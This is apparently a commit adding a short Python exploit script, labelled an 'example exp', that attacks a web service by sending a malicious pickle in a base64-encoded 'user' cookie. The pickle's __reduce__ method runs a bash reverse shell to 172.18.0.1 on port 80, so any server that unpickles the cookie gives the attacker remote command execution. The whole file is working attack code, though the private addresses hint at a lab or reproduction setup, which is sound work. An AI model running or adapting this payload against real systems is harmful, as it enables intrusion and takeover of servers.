new_contents: #!/usr/bin/env python
  import requests
  import pickle
  import os
  import base64
  
  
  class exp(object):
      def __reduce__(self):
          s = """/bin/bash -i >& /dev/tcp/172.18.0.1/80 0>&1"""
          return (os.system, (s,))
  
  
  e = exp()
  s = pickle.dumps(e)
  
  response = requests.get("http://172.18.0.2:9000/", cookies=dict(
      user=base64.b64encode(s)
  ))
  print(response.content)
subject: add example exp